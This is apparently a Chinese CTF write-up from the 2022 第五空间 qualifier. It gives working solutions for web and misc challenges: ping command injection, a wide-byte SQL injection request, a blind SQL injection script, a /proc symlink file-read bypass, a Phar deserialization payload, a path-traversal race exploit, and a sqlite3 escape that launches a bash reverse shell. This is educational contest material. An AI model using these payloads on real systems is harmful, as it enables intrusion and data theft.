2022 第五空间 线上初赛 部分题解

好累的一天。

Web

5_web_letmeguess_1

弱口令admin/admin123

ping命令注入,%0a绕过分隔符。

发现存在kylin目录,目录下存在flag.txt,且WAF过滤了kylinflag,使用*****绕过。

1
127.0.0.1%0acd${IFS}ky*%0atac${IFS}fl*

5_easylogin

username处存在宽字节注入,并且题目将union select替换为空,双写绕过,并且构造一个admin用户密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login.php HTTP/1.1
Host: 39.105.13.61:10808
Content-Length: 140
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://39.105.13.61:10808
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.105.13.61:10808/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

password=3&username=-100%df'uniunionon/**/seleselectct/**/1,0x61646D696E,0x6563636263383765346235636532666532383330386664396632613762616633#

5_web_Eeeeasy_SQL

\逃逸'mysql8 table注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

burp0_url = "http://39.107.68.209:45231/api/api.php?command=login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
res = ""

for i in range(1, 40):
for j in range(32, 128):
# password = "union values row((case when ord(right(database(),%s))>%s then 1 else (~(0)+1) end),2,3,4)#" % (i, j)
tmp = res + chr(j)
print(tmp)
password = "union values row((case when (table ctf.users limit 2,1)>(3,0x466c61675f4163636f756e74,binary %s,1) then 1 else (~(0)+1) end),2,3,4)#".replace(" ", "\t") % ("0x" + tmp.encode().hex())
burp0_data = {"username": "admin\\", "password": password}
# print(password)
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, allow_redirects=False)
if "success" not in r.text:
# print(r.text)
res += chr(j - 1)
print(chr(j - 1))
# print(res[::-1])
print(res)
break
# id为2
# ADMIN@665
# Flag_Account
# G1VE_Y0U_@_K3Y_70_937_F14G!!!
# G1ve_Y0u_@_K3y_70_937_f14g!!!

登入后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
session_start();

if (isset($_SESSION['name'])) {
if ($_SESSION['name'] === 'Flag_Account') {
$file = urldecode($_GET['file']);
if (!preg_match('/^\/flag|var|tmp|php|log|\%|sess|etc|usr|\.|\:|base|ssh|http/i', $file)) {
readfile($file);
} else {
echo 'try again~';
}
}
show_source(__FILE__);

} else {
echo '登陆一下吧~';
}

符号链接绕过。

1
GET /api/flag.php?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag

5_web_BaliYun

直接Phar反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class upload
{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct()
{
$this->filename = '/flag';
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new upload();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传完给一个路径读取。

1
GET /index.php?img_name=phar://./upload/phar.gif

MISC

sakana_reveage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import os
import subprocess
import base64
import binascii
import zipfile


BANNER = """
_____ /\/| /\/| _____ _ ___ ______
/ ____| |/\/ | |/\/ / ____| | / _ \ | ____|
| (___ __ _ | | ____ _ _ __ __ _ | (___ | |_| | | |_ __| |__
\___ \ / _` | | |/ / _` | | '_ \ / _` | \___ \| __| | | | '__| __|
____) | (_| | | < (_| | | | | | (_| | ____) | |_| |_| | | | |____
|_____/ \__,_| |_|\_\__,_| |_| |_|\__,_| |_____/ \__|\___/|_| |______|

"""
SAKANA_PATH = "./sakana"


def welcome_menu():
print()
print("1. Upload an sakana")
print("2. Download an sakana")
print("3. Delete an sakana")
print("4. Upload sakanas of Zip")
print("5. Exit")
print()
print("Input your choice")
try:
return int(input(">> "))
except ValueError:
return -1


def sakana_upload():
sakana_file_name = input("Name for your sakana:")

encoded_sakana_content = input("Base64-encoded sakana:")
try:
decode_content = base64.b64decode(encoded_sakana_content)
except binascii.Error:
print("Error base64!")
return

if decode_content == b"":
print("Empty file!")
return

if not decode_content.startswith(b"sakana"):
print("Only sakana files are allowed!")
return

with open(os.path.join(SAKANA_PATH, sakana_file_name), "wb") as sakana_file_handle:
sakana_file_handle.write(decode_content)


def sakana_download():
sakana_file = os.listdir(SAKANA_PATH)

for file_num, file_name in enumerate(sakana_file):
print(f"{file_num} -> {file_name}")
print()

print("Select num which sakana to download")
try:
sakana_num = int(input(">> "))
sakana_path = os.path.join(SAKANA_PATH, sakana_file[sakana_num])
except:
print("Invalid num of sakana!")
return

with open(sakana_path, "rb") as sakana_file_handle:
sakana = sakana_file_handle.read()

print("Here is your sakana file(base64ed)")
print(base64.b64encode(sakana).decode())


def sakana_delete():
sakana_file = os.listdir(SAKANA_PATH)

for file_num, file_name in enumerate(sakana_file):
print(f"{file_num} -> {file_name}")
print()

print("Select num which sakana to delete")
try:
sakana_num = int(input(">> "))
sakana_path = os.path.join(SAKANA_PATH, sakana_file[sakana_num])
except:
print("Invalid num of sakana!")
return

os.remove(sakana_path)
print("sakana file successfully deleted!")


def sakana_upload_sakanas():
sakanas_path = "/tmp/sakanas.zip"

encoded_zip_content = input("Base64-encoded zip of sakanas:")
try:
with open(sakanas_path, "wb+") as zip_file:
zip_content = base64.b64decode(encoded_zip_content)
zip_file.write(zip_content)

#no symlink for it
for zip_info in zipfile.ZipFile(zip_file).infolist():
if zip_info.external_attr >> 16:
print("Hacker!!!")
return
except zipfile.BadZipFile:
print("Error zipfile!")
return
except binascii.Error:
print("Error base64!")

if subprocess.run(["unzip", "-o", "-q", sakanas_path, "-d", SAKANA_PATH]).returncode <= 1:
print("Zip successfully uploaded and extracted")
else:
print("Error while extracting the Zip")


def main():
os.makedirs(SAKANA_PATH, exist_ok=True)

print(BANNER)
while True:
choice = welcome_menu()

if choice == 1:
sakana_upload()
elif choice == 2:
sakana_download()
elif choice == 3:
sakana_delete()
elif choice == 4:
sakana_upload_sakanas()
elif choice == 5:
print("bye......")
break
else:
print("Invalid choice!")


if __name__ == "__main__":
main()

代码审计发现,sakana_uploadsakana_upload_sakanas存在条件竞争。

sakana_upload可控制写入路径,在sakana_upload_sakanas执行unzip之前成功写入就行。

上传恶意zip

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

while True:

io=remote('39.106.156.96',30465)
io.recvuntil(b'>> ')
io.sendline(b'1')
io.recvuntil(b'sakana:')
io.sendline(b"../../../tmp/sakanas.zip")
io.recvuntil(b'ded sakana:')
io.sendline(b'c2FrYW5hUEsDBAoAAAAAALd2M1VOewN1BQAAAAUAAAAFABwAZmw0NGdVVAkAA/oRKGP6EShjdXgLAAEEAAAAAAQAAAAAL2ZsYWdQSwECHgMKAAAAAAC3djNVTnsDdQUAAAAFAAAABQAYAAAAAAAAAAAA/6EAAAAAZmw0NGdVVAUAA/oRKGN1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBLAAAARAAAAAAA')

上传正常zip

1
2
3
4
5
6
7
8
9
from pwn import *

while True:
# context.log_level = 'debug'
io = remote('39.106.156.96', 30465)
io.recvuntil(b'>> ')
io.sendline(b'4')
io.recvuntil(b'sakanas:')
io.sendline(b'c2FrYW5hUEsDBBQAAAAIAJd+M1W379yDAwAAAAEAAAAFAAAAMS50eHQzBABQSwECHwAUAAAACACXfjNVt+/cgwMAAAABAAAABQAkAAAAAAAAACAAAAAAAAAAMS50eHQKACAAAAAAAAEAGACI8WvO/MvYAYjxa878y9gBWLaezPzL2AFQSwUGAAAAAAEAAQBXAAAAJgAAAAAA')

然后去手动访问就行。

5_Misc_m@sTeR_0f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random
import string
import subprocess

WELCOME = '''
_______ _____ ___ __ _____ _ _ _______
____ |__ __| | __ \ / _ \ / _| / ____| | | (_)__ __|
_ __ ___ / __ \ ___| | ___| |__) | | | | | |_ | (___ __ _| | _ | | ___
| '_ ` _ \ / / _` / __| |/ _ \ _ / | | | | _| \___ \ / _` | | | | | |/ _ \
| | | | | | | (_| \__ \ | __/ | \ \ | |_| | | ____) | (_| | |____| | | | __/
|_| |_| |_|\ \__,_|___/_|\___|_| \_\ \___/|_| |_____/ \__, |______|_| |_|\___|
\____/ | |
|_|
'''

print(WELCOME)

def name_generator(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

tmp_dbpath = f'/tmp/{name_generator()}.db'

query_idea = input("Input your Query command --->> ")

black_list = ['.', 'lo', ';']

for y in black_list:
if y in query_idea:
print("Hacker! Banned...")
exit()

sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()
#Show your output!
print(output.decode())

-interactive进入交互模式,绕过WAF

1
-interactive

.shell执行命令反弹SHELL

1
2
.shell echo '/bin/sh -i >& /dev/tcp/x.x.x.x/x 0>&1' > /tmp/1.sh
.shell bash /tmp/1.sh